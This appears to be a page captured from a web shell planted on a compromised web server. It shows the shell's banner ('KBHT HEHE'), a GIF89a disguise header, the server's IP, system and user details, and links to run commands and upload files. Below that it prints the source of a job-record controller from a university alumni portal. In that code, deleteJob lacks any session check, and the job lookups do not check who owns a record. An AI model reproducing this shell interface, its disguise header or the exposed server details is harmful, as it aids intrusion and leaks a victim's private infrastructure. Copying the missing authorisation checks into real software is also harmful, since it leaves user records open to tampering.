GIF89a; CRX
KBHT HEHE
Server IP : 172.26.0.195  /  Your IP : 18.188.107.57
Web Server : Apache
System : Linux 43-205-77-33.cprapid.com 3.10.0-1160.119.1.el7.tuxcare.els2.x86_64 #1 SMP Mon Jul 15 12:09:18 UTC 2024 x86_64
User : jnclnmuac ( 1026)
PHP Version : 8.0.30
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /home/jnclnmuac/public_html/web/../web/../alumni/application/controllers/user/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/jnclnmuac/public_html/web/../web/../alumni/application/controllers/user/Job.php
<?php

/**
 * Description of User
 *
 * @author Softpro India Pvt. Ltd.
 */
class Job extends CI_Controller {

    //put your code here
    public function __construct() {
        parent::__construct();
        $this->load->model("user/UserManagement");
        $this->load->model("user/JobManagement");
        $this->load->model("admin/LocationManagement");
        $this->load->model("admin/NotificationManagement");
    }

    public function index() {
        if ($this->sessionvalidator->validateSession("userDatas")) {
            $userData = $this->session->userdata("userData");
            $viewData["notificationList"] = $this->NotificationManagement->getNotificationsForUserDashboard($userData["userid"], $userData["user_role"])->result();
            $viewData["jobs"] = $this->JobManagement->getJobs($userData["userid"])->result();
            //print_r($viewData);
            $this->load->view("user/jobs", $viewData);
        } else {
            redirect("Home#loginModal");
        }
    }

    public function addJob() {
        if ($this->sessionvalidator->validateSession("userData")) {
            $userData = $this->session->userdata("userData");
            $viewData["notificationList"] = $this->NotificationManagement->getNotificationsForUserDashboard($userData["userid"], $userData["user_role"])->result();
            $viewData["states"] = $this->LocationManagement->getStates()->result();
            $viewData["countries"] = $this->LocationManagement->getCountries()->result();
            $this->load->view("user/createJob", $viewData);
        } else {
            redirect("Home#loginModal");
        }
    }

    public function saveJobInformation() {
        if ($this->sessionvalidator->validateSession("userData")) {
            $this->form_validation->set_rules("organisation", "organisation name", "required", array("required" => "Enter Organisation Name."));
            $this->form_validation->set_rules("designation", "designation", "required", array("required" => "Enter Designation."));
            $this->form_validation->set_rules("from", "working session from", "required", array("required" => "Select Working Session 'From'."));
            $this->form_validation->set_rules("to", "working session 'to'", "required", array("required" => "Select Working Session 'To'."));
            $this->form_validation->set_rules("address1", "address 1", "required", array("required" => "Enter Organisation Address 1."));
            $this->form_validation->set_rules("address2", "address 2", "required", array("required" => "Enter Organisation Address 2."));
            $this->form_validation->set_rules("role", "role", "max_length[100]", array("max_length" => "Character Limit Exceeded In Role."));
            $this->form_validation->set_rules("country", "country", "required", array("required" => "Select Country."));


            if ($this->form_validation->run() == false) {
                $this->addJob();
            } else {

                $userSessionData = $this->session->userdata("userData");
                $profileData = $this->UserManagement->getUserProfileDetails($userSessionData["userid"])->result();

                $j_status;
                $jobData;

                if ($this->input->post("to") == date("Y"))
                    $j_status = "Current";
                else
                    $j_status = "Previous";
                //echo $j_status;

                if ($this->input->post("abroad") == "abroad") {
                    $jobData = array(
                        "company_name" => addslashes(trim($this->input->post("organisation"))),
                        "designation" => addslashes(trim($this->input->post("designation"))),
                        "j_from" => $this->input->post("from"),
                        "j_to" => $this->input->post("to"),
                        "address1" => addslashes(trim($this->input->post("address1"))),
                        "address2" => addslashes(trim($this->input->post("address2"))),
                        "country" => $this->input->post("country"),
                        "p_id" => $profileData[0]->p_id,
                        "j_status" => $j_status,
                        "j_added" => date("Y-m-d"));
                    //print_r($jobData);
                } else {
                    $jobData = array(
                        "company_name" => addslashes(trim($this->input->post("organisation"))),
                        "designation" => addslashes(trim($this->input->post("designation"))),
                        "j_from" => $this->input->post("from"),
                        "j_to" => $this->input->post("to"),
                        "address1" => addslashes(trim($this->input->post("address1"))),
                        "address2" => addslashes(trim($this->input->post("address2"))),
                        "landmark" => addslashes(trim($this->input->post("landmark"))),
                        "role" => addslashes(trim($this->input->post("role"))),
                        "state" => $this->input->post("state"),
                        "city" => $this->input->post("city"),
                        "country" => $this->input->post("country"),
                        "pincode" => addslashes(trim($this->input->post("zipcode"))),
                        "p_id" => $profileData[0]->p_id,
                        "j_status" => $j_status,
                        "j_added" => date("Y-m-d"));
                    //print_r($jobData);
                }

                $lastInsertedID = $this->JobManagement->saveJobData($jobData);
                if ($lastInsertedID > 0) {
                    $this->session->set_flashdata("successMessage", "Job Information Added Successfully.");
                    redirect("user/Job");
                } else {
                    $this->session->set_flashdata("errorMessage", "Failed To Add Job Information.");
                    $this->addJob();
                }
            }
        } else {
            redirect("Home#loginModal");
        }
    }

    public function getJobDetails() {
        if ($this->sessionvalidator->validateSession("userData")) {
            $jp_id = $_POST["jp_id"];
            $job = $this->JobManagement->getJobById($jp_id)->result()[0];
            $responseData = array(
                'csrfName' => $this->security->get_csrf_token_name(),
                'csrfHash' => $this->security->get_csrf_hash(),
                'organisation' => $job->company_name,
                'designation' => $job->designation,
                'role' => $job->role,
                'session' => $job->j_from . "-" . $job->j_to,
                'job_status' => $job->j_status,
                'added_date' => date("d-m-Y", strtotime($job->j_added)),
                'address1' => $job->address1,
                'address2' => $job->address2,
                'landmark' => $job->landmark,
                'state' => $job->state,
                'city' => $job->city,
                'country' => $job->country,
                'pincode' => $job->pincode,
            );
            echo json_encode($responseData);
        } else {
            redirect("Home#loginModal");
        }
    }

    public function editJob($jp_id) {
        if ($this->sessionvalidator->validateSession("userData")) {
            $userData = $this->session->userdata("userData");
            $viewData["notificationList"] = $this->NotificationManagement->getNotificationsForUserDashboard($userData["userid"], $userData["user_role"])->result();
            $viewData["states"] = $this->LocationManagement->getStates()->result();
            $viewData["countries"] = $this->LocationManagement->getCountries()->result();
            $viewData["job"] = $this->JobManagement->getJobById($jp_id)->result();
            $this->load->view("user/editJob", $viewData);
        } else {
            redirect("Home#loginModal");
        }
    }

    public function saveUpdatedJobInformation() {
        if ($this->sessionvalidator->validateSession("userData")) {
            $this->form_validation->set_rules("organisation", "organisation name", "required", array("required" => "Enter Organisation Name."));
            $this->form_validation->set_rules("designation", "designation", "required", array("required" => "Enter Designation."));
            $this->form_validation->set_rules("from", "working session from", "required", array("required" => "Select Working Session 'From'."));
            $this->form_validation->set_rules("to", "working session 'to'", "required", array("required" => "Select Working Session 'To'."));
            $this->form_validation->set_rules("address1", "address 1", "required", array("required" => "Enter Organisation Address 1."));
            $this->form_validation->set_rules("address2", "address 2", "required", array("required" => "Enter Organisation Address 2."));
            $this->form_validation->set_rules("role", "role", "max_length[100]", array("max_length" => "Character Limit Exceeded In Role."));
            $this->form_validation->set_rules("country", "country", "required", array("required" => "Select Country."));


            if ($this->form_validation->run() == false) {
                $this->editJob($this->input->post("jp_id"));
            } else {
                // echo $this->input->post("abroad");

                $userSessionData = $this->session->userdata("userData");
                $profileData = $this->UserManagement->getUserProfileDetails($userSessionData["userid"])->result();
                //print_r($profileData);
                //echo $profileData[0]->p_id;

                $j_status;
                $jobData;

                if ($this->input->post("to") == date("Y"))
                    $j_status = "Current";
                else
                    $j_status = "Previous";
                //echo $j_status;

                if ($this->input->post("abroad") == "abroad") {
                    $jobData = array(
                        "company_name" => addslashes(trim($this->input->post("organisation"))),
                        "designation" => addslashes(trim($this->input->post("designation"))),
                        "j_from" => $this->input->post("from"),
                        "j_to" => $this->input->post("to"),
                        "address1" => addslashes(trim($this->input->post("address1"))),
                        "address2" => addslashes(trim($this->input->post("address2"))),
                        "country" => $this->input->post("country"),
                        "p_id" => $profileData[0]->p_id,
                        "j_status" => $j_status,
                        "j_added" => date("Y-m-d"));
                   // print_r($jobData);
                } else {
                    $jobData = array(
                        "company_name" => addslashes(trim($this->input->post("organisation"))),
                        "designation" => addslashes(trim($this->input->post("designation"))),
                        "j_from" => $this->input->post("from"),
                        "j_to" => $this->input->post("to"),
                        "address1" => addslashes(trim($this->input->post("address1"))),
                        "address2" => addslashes(trim($this->input->post("address2"))),
                        "landmark" => addslashes(trim($this->input->post("landmark"))),
                        "role" => addslashes(trim($this->input->post("role"))),
                        "state" => $this->input->post("state"),
                        "city" => $this->input->post("city"),
                        "country" => $this->input->post("country"),
                        "pincode" => addslashes(trim($this->input->post("zipcode"))),
                        "p_id" => $profileData[0]->p_id,
                        "j_status" => $j_status,
                        "j_added" => date("Y-m-d"));
                    //print_r($jobData);
                }

                if ($this->JobManagement->updatedJobData($jobData, $this->input->post("jp_id"))) {
                    $this->session->set_flashdata("successMessage", "Job Updated Successfully.");
                    redirect("user/Job");
                } else {
                    $this->session->set_flashdata("errorMessage", "Failed To Update Job.");
                    $this->index();
                }
            }
        } else {
            redirect("Home#loginModal");
        }
    }

    public function deleteJob($jp_id) {
        $jobData = array("job_delete_status" => "t");
        if ($this->JobManagement->updatedJobData($jobData, $jp_id)) {
            $this->session->set_flashdata("successMessage", "Job Delete Successfully.");
            redirect("user/Job");
        } else {
            $this->session->set_flashdata("errorMessage", "Failed To Delete Job.");
            $this->index();
        }
    }

}

KBHT - 2023